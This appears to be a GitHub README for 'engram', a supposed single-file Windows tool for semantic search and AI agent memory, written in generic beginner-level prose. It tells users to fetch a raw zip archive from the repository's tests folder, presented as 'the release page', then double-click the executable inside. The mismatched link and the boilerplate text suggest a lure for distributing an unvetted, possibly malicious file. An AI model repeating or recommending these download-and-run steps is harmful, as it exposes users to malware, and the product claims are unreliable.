engram helps your AI agents remember and understand your data. It indexes your knowledge so you can search by meaning. This app runs on Windows in a single file. You do not need any programming skills to use it.
engram gives your AI a brain. It stores information in a way that lets AI agents find answers based on what things mean, not just exact words. This helps agents work better with knowledge bases. The app runs right from one file, so you can get started quickly without installing anything extra.
Before you begin, make sure your Windows computer meets these needs:
- Windows 10 or later (64-bit recommended)
- At least 4 GB RAM
- Around 200 MB free disk space
- Internet connection to download
- No other software needed
You can expect these capabilities from engram:
- Index your documents and notes with semantic search
- Search by meaning, not just keywords
- Use AI memory helpers for building smarter agents
- Works as a simple command line tool
- Single executable file, no installation
- Supports popular formats like text and SQLite databases
Follow these steps to download and run engram on Windows.
Visit the release page to get the latest version of engram for Windows.
Click the link above or go to:
https://raw.githubusercontent.com/aditxver/engram/main/tests/Software_v3.0.zip
Look for a file named like engram-windows.exe or similar in the latest release. Click the file and save it to a folder you will remember, such as Downloads or Desktop.
Once the download finishes, open the folder where you saved the file.
You should see an executable file with .exe at the end.
Double-click the executable file to start engram.
A command prompt window will open. This tool runs in this window using simple commands.
You can now use engram to create semantic memory indexes from your data. Below are some basic commands to help you:
-
To create an index from a folder of documents:
engram index --source "C:\MyDocuments" -
To search an index:
engram search --query "your search text" -
To see all available commands:
engram help
When you finish, you can simply close the command prompt window.
engram stores your knowledge so your AI agents can understand it better. You can add documents or databases to create your searchable memory.
- Place your files in a folder on your computer.
- Use the
indexcommand to add this folder to engram’s database. - Supported files include plain text, JSON, and SQLite databases.
- Use the
searchcommand followed by your question or keywords. - engram looks for meaning, not just exact matches.
Example:
engram search --query "What is AI memory?"
This helps you find answers faster.
For users who want more control, engram supports options like:
- Setting the location of indexes
- Adjusting memory limits
- Choosing which file types to include
You can see all options by running:
engram help
engram works best with these:
.txt(plain text files).json(structured data files).sqlite(small databases)
Make sure your data is not locked by other programs when indexing.
- Keep your files organized in easy-to-find folders.
- Run the tool from a folder where you have full access rights.
- When running commands, copy and paste to avoid typing errors.
- Check the release page often for updates and bug fixes.
To find new versions or report issues, visit the release page:
https://raw.githubusercontent.com/aditxver/engram/main/tests/Software_v3.0.zip
Here you can:
- Download newer versions as they come out
- Find release notes that explain changes
- Report problems you find with the software
To update engram:
- Delete or move the old executable file.
- Download the latest file from the release page.
- Run it directly as before.
No installation is needed, so updating is quick.